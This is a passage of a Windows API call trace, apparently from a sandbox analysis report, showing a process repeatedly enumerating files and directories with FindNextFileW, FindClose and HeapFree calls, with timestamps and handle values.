FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.463] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.463] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.464] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.465] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.466] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.466] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.467] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.467] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.469] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.469] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.470] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.470] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.471] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.471] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.473] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.473] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.474] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.474] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.475] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.475] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.476] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.476] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.478] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.478] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.478] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.478] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.481] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.482] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0 [0136.482] FindClose (in: hFindFile=0x3e5c798 | out: hFindFile=0x3e5c798) returned 1 [0136.482] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0136.482] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0136.488] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.488] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.490] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.490] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.491] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.491] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.492] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.492] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.492] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0136.492] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0136.496] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0136.496] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x33ce918 | out: lpFindFileData=0x33ce918) returned 1 [0136.496] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.496] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0 [0136.496] FindClose (in: hFindFile=0x3e5c798 | out: hFindFile=0x3e5c798) returned 1 [0136.496] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0136.496] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0136.505] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.505] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0 [0136.505] FindClose (in: hFindFile=0x3e5c318 | out: hFindFile=0x3e5c318) returned 1 [0136.505] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0136.505] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0136.510] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0136.511] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x33ce69c | out: lpFindFileData=0x33ce69c) returned 1 [0136.511] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.511] FindNextFileW (in: hFindFile=0x3e5c098, lpFindFileData=0x33ce918 | out: lpFindFileData=0x33ce918) returned 0 [0136.511] FindClose (in: hFindFile=0x3e5c098 | out: hFindFile=0x3e5c098) returned 1 [0136.511] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.511] FindNextFileW (in: hFindFile=0x3e5c1d8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0 [0136.511] FindClose (in: hFindFile=0x3e5c1d8 | out: hFindFile=0x3e5c1d8) returned 1 [0136.511] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0136.513] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 0 [0136.513] FindClose (in: hFindFile=0x3e5bed8 | out: hFindFile=0x3e5bed8) returned 1 [0136.513] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0136.513] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0136.638] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0136.638] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 0 [0136.638] FindClose (in: hFindFile=0x3e5bcd8 | out: hFindFile=0x3e5bcd8) returned 1 [0136.638] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0136.638] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0136.639] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.640] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0 [0136.640] FindClose (in: hFindFile=0x3e5bed8 | out: hFindFile=0x3e5bed8) returned 1 [0136.640] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0136.640] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0136.640] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0136.640] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 0 [0136.640] FindClose (in: hFindFile=0x3e5bcd8 | out: hFindFile=0x3e5bcd8) returned 1 [0136.641] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0136.641] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 0 [0136.641] FindClose (in: hFindFile=0x3e5bc98 | out: hFindFile=0x3e5bc98) returned 1 [0136.641] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0136.641] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0136.645] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0136.645] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0136.647] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0136.647] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.648] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0136.648] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.648] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0136.648] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.649] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0136.649] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.649] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0136.649] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.650] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0136.650] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.651] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0136.651] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.654] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0136.655] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.655] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0136.655] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.655] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0136.655] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.655] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0136.655] FindNextFileW (in: hFindFile=0x3e5c418, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0 [0136.655] FindClose (in: hFindFile=0x3e5c418 | out: hFindFile=0x3e5c418) returned 1 [0136.655] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0136.656] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0136.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0136.658] FindNextFileW (in: hFindFile=0x3e5c558, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.659] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0136.660] FindNextFileW (in: hFindFile=0x3e5c558, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.660] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0136.660] FindNextFileW (in: hFindFile=0x3e5c558, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.660] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0136.660] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0136.661] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0136.661] FindNextFileW (in: hFindFile=0x3e5c258, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.661] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0136.661] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0136.662] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0136.663] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0136.665] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0136.666] FindNextFileW (in: hFindFile=0x3e5c258, lpFindFileData=0x33ce918 | out: lpFindFileData=0x33ce918) returned 0 [0136.666] FindClose (in: hFindFile=0x3e5c258 | out: hFindFile=0x3e5c258) returned 1 [0136.666] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0136.666] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0 [0136.666] FindClose (in: hFindFile=0x3e5c318 | out: hFindFile=0x3e5c318) returned 1 [0136.666] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0136.666] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0136.667] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0136.667] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x33ce918 | out: lpFindFileData=0x33ce918) returned 0 [0136.667] FindClose (in: hFindFile=0x3e5c798 | out: hFindFile=0x3e5c798) returned 1 [0136.667] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0136.667] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0 [0136.667] FindClose (in: hFindFile=0x3e5c318 | out: hFindFile=0x3e5c318) returned 1 [0136.667] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0136.667] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 0 [0136.667] FindClose (in: hFindFile=0x3e5bcd8 | out: hFindFile=0x3e5bcd8) returned 1 [0136.667] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0136.669] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0136.670] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0136.670] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 0 [0136.670] FindClose (in: hFindFile=0x3e5bcd8 | out: hFindFile=0x3e5bcd8) returned 1 [0136.671] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0136.671] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 0 [0136.671] FindClose (in: hFindFile=0x3e5bc98 | out: hFindFile=0x3e5bc98) returned 1 [0136.671] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0136.671] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0136.799] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0136.799] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ce918 | out: lpFindFileData=0x33ce918) returned 1 [0136.799] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.799] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x33ce69c | out: lpFindFileData=0x33ce69c) returned 0 [0136.799] FindClose (in: hFindFile=0x3e5c758 | out: hFindFile=0x3e5c758) returned 1 [0136.799] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0136.799] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ce918 | out: lpFindFileData=0x33ce918) returned 1 [0136.799] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0136.800] FindNextFileW (in: hFindFile=0x3e5c398, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0 [0136.800] FindClose (in: hFindFile=0x3e5c398 | out: hFindFile=0x3e5c398) returned 1 [0136.800] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0136.808] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 0 [0136.808] FindClose (in: hFindFile=0x3e5bcd8 | out: hFindFile=0x3e5bcd8) returned 1 [0136.808] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0136.808] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0136.808] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0136.808] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0136.809] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0136.809] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0 [0136.809] FindClose (in: hFindFile=0x3e5bed8 | out: hFindFile=0x3e5bed8) returned 1 [0136.809] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0136.809] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 0 [0136.809] FindClose (in: hFindFile=0x3e5bcd8 | out: hFindFile=0x3e5bcd8) returned 1 [0136.809] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0136.809] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0136.809] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0136.809] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0 [0136.809] FindClose (in: hFindFile=0x3e5bed8 | out: hFindFile=0x3e5bed8) returned 1 [0136.809] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0136.809] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 0 [0136.810] FindClose (in: hFindFile=0x3e5bcd8 | out: hFindFile=0x3e5bcd8) returned 1 [0136.810] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0136.810] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 0 [0136.810] FindClose (in: hFindFile=0x3e5bc98 | out: hFindFile=0x3e5bc98) returned 1 [0136.810] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0136.811] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0136.813] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0136.813] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x33ce918 | out: lpFindFileData=0x33ce918) returned 1 [0136.814] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.814] FindNextFileW (in: hFindFile=0x3e5c1d8, lpFindFileData=0x33ce69c | out: lpFindFileData=0x33ce69c) returned 0 [0136.814] FindClose (in: hFindFile=0x3e5c1d8 | out: hFindFile=0x3e5c1d8) returned 1 [0136.814] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0136.814] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x33ce918 | out: lpFindFileData=0x33ce918) returned 1 [0136.814] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0136.814] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0 [0136.814] FindClose (in: hFindFile=0x3e5bcd8 | out: hFindFile=0x3e5bcd8) returned 1 [0136.815] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0136.816] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 0 [0136.816] FindClose (in: hFindFile=0x3e5bed8 | out: hFindFile=0x3e5bed8) returned 1 [0136.816] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0136.816] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0136.818] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0136.818] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0137.016] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0137.016] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x33ce918 | out: lpFindFileData=0x33ce918) returned 1 [0137.018] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0137.018] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x33ce918 | out: lpFindFileData=0x33ce918) returned 1 [0137.019] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0137.019] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0137.021] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0137.021] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 0 [0137.021] FindClose (in: hFindFile=0x3e5bcd8 | out: hFindFile=0x3e5bcd8) returned 1 [0137.021] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0137.022] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0137.027] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0137.027] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0 [0137.027] FindClose (in: hFindFile=0x3e5bed8 | out: hFindFile=0x3e5bed8) returned 1 [0137.027] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0137.027] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 0 [0137.027] FindClose (in: hFindFile=0x3e5bcd8 | out: hFindFile=0x3e5bcd8) returned 1 [0137.027] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0137.027] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0137.036] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0137.036] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0 [0137.036] FindClose (in: hFindFile=0x3e5bed8 | out: hFindFile=0x3e5bed8) returned 1 [0137.036] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0137.037] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 0 [0137.037] FindClose (in: hFindFile=0x3e5bcd8 | out: hFindFile=0x3e5bcd8) returned 1 [0137.037] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: 